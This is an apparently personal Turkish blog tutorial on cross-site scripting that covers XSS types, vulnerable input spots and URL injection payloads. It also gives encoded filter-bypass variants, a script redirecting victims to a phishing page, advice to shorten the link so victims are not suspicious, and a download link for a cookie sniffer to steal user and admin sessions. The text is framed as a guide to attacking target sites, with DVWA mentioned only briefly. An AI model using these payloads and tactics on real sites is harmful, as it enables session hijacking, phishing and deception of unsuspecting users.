Cross-site Scripting [ XSS ]

Türkçe Karşılığı Çapraz Kod Çalıştırma manasına gelmektedir.  Tehlikeli olduğu kadar aynı zamanda sömürülmesi oldukça basittir.

Birçok web sitesinde kullanıcı oturumu açarken  ” Beni Anımsa , Oturumu açık tut  ” gibi seçeneklerle karşılaşıyoruz. Bunlardan birini seçerek oturum açtığımızda sistem tarafından bilgisayarımıza cookies [Çerezler] olarak adlandırdığımız metin belgelerini saklamaktadır.  Bunun sebebi ise o web sitesine bir sonraki girişimizde cihazımızı tanıması ve bizden tekrar giriş bilgileri istememesidir. XSS açığının mantığı da bu şekildedir. Oturum çalma zaafiyeti olarak tabir edilir.

xss türleri

Reflected XSS Saldırısı: Kullanıcının girilmesi beklenen parametre yerine Javascript  kodu girerek bunu ekrana yansıtması ile tespit edilebilen XSS çeşitidir

Stored XSS Saldırıs : Daha çok forumlar, yorum alanları ve ziyaretçi defteri gibi alanlarda kullanılır. Bu alanlara gönderilen XSS kodları veritabanına kaydedilir. Sayfaya giren her kullanıcı için sayfayı görüntülerken XSS saldırısına maruz kalır.

DOM XSS Saldırısı: En tehlikeli XSS  türüdür. JavaScript kodlarının zararlı şekilde kullanılması ile yapılır. Bu saldırı türünde kullanılan DOM nesneleri ile hedef web sitesinin sayfa kodları değiştirilebilinir , shell yüklenebilir , virüs, trojan gibi zararlı yazılımlar sayfaya enjekte edilebilir.

Basit Bir DOM Tabanlı Cross Site Scripting Zafiyeti Örneği

Açığı sömürmenin belli başlı yolları vardır . Bunlardan bir tanesi xss sniffer kurmaktır.

Xss Zaafiyeti ile Neler Yapabiliriz?

Bir web sitesinde  Cross-site Scripting zaafiyeti bulup o web sitesindeki kullanıcıların yada site yöneticisi olan admin cookie’lerini ele geçirip oturum bilgilerine erişebiliriz. Javascript kodları ile backlink yapabılabilir , sisteme giren kullanıcılara zararlı yazılımlar entegre edilebilir. Bu yüzden oldukça riskli bir açıktır. Büyük sistemlerde bile xss’ye sıkça raslanmaktadır.

<s c r i p t>alert(“EREN ALTUN.”);</script> Örnek xss alert kodumuz.

Cross-site Scripting Açığının bulunduğu yerlere örnek verecek olursa ;

Search kutularında 

Id= değerinin buldunduğu yerlerde 

Ziyaretçi defterlerinde

Kayıt formlarında

Yorum formlarında

http://site.com/page.php?id=46  id değerini siliyoruz id= ‘den sonrasına alert kodumuzu yazıyoruz.

alert kodumuz

<script>alert(“EREN ALTUN.”);</script>

http://site.com/page.php?id=<s c r i p t>alert(“EREN ALTUN.”);</script>

HTML  Bypass Code

ilk bypass yöntemimiz alert kodunu encode etmek yani şifreleyeceğiz. Bunu nasıl yaparız ? online olarak fopo siteleri yada online html encoder yazarak karşımıza çıkan sitelerden birinden bu işlemi gerçekleştirebiliriz.

normal şartlarda uyarı verecek . Bazı özel durumlarda uyarı almadığımız ama xss açığı olduğunu bildiğimiz sitelerde bypass yöntemleri deneyeceğiz.

www.hedef.com/index.php?id= <script type=”text/javascript”>document.write(’\\u007F\\u003C\\u0073\\u0063\\u0072\\u006 9\\u0070\\u0074\\u003E\\u0061\\u006C\\u0065\\u0072 \\u0074\\u0028\\u0022\\u004D\\u0061\\u0068\\u0073\ \u0065\\u0072\\u0022\\u0029\\u003B\\u003C\\u002F\\ u0073\\u0063\\u0072\\u0069\\u0070\\u0074\\u003E’); </script>

b-) Bypass JavaScript Code

Normal Kod

www.hedef.com/index.php?id=<script >alert(“EREN ALTUN”);</script>

Bypass Kod

“> www.hedef.com/index.php?id= “><s c r i p t >alert(“Mahser”);</script>

Açığı bulduktan sonra saldırı aşamasına geçeceğiz bunun için gerekli adımları uygulamamız gerekiyor.

Şimdi basit bir yönlendirme senaryosu üzerinde örnekleme yapalım.

hedef sitemiz eren-altun.com sitesi olsun.. Anasayfa veriyi id ile  çağrdığını varsayıyorum.

eren-altun.com/index.php?=id

yönlendirme yapabilmemiz için kullanacağımz kod parçası

“> < script > document.location.href= “www.phisingpage.com” </script>  olacak yani son hali bu şekilde .. .

www.eren-altun.com/index.php?id=”> < script > document.location.href= “www.phisingpage.com” </script>

Tavsiyem url kısmı uzun olduğu için hedef kurban şüphelenme olasılığı yüksektir. Bu yüzden link shorter sitelerinden url’mizi kısaltmada fayda var.

Sniffer Kurma

Temeli sosyal  mühendisliğe dayansa da asıl işlevi yine xss açığına dayanmaktadır. Kullanıcı veya admin cookilerini ele geçirmeye  yarar.

örnek dosyalara buradan ulaşabilirsiniz. https://www.box.com/s/d45q4d5ywdzxwcn7n7wn

Dosyalarımızı indirdikten sonra

xss açıklarını test edip deneyimleyebileceğiniz dvwa uygulamasında testler yapabilirsiniz. Örnek Dvwa çözümlerim.

{Eren Talha Altun}

error: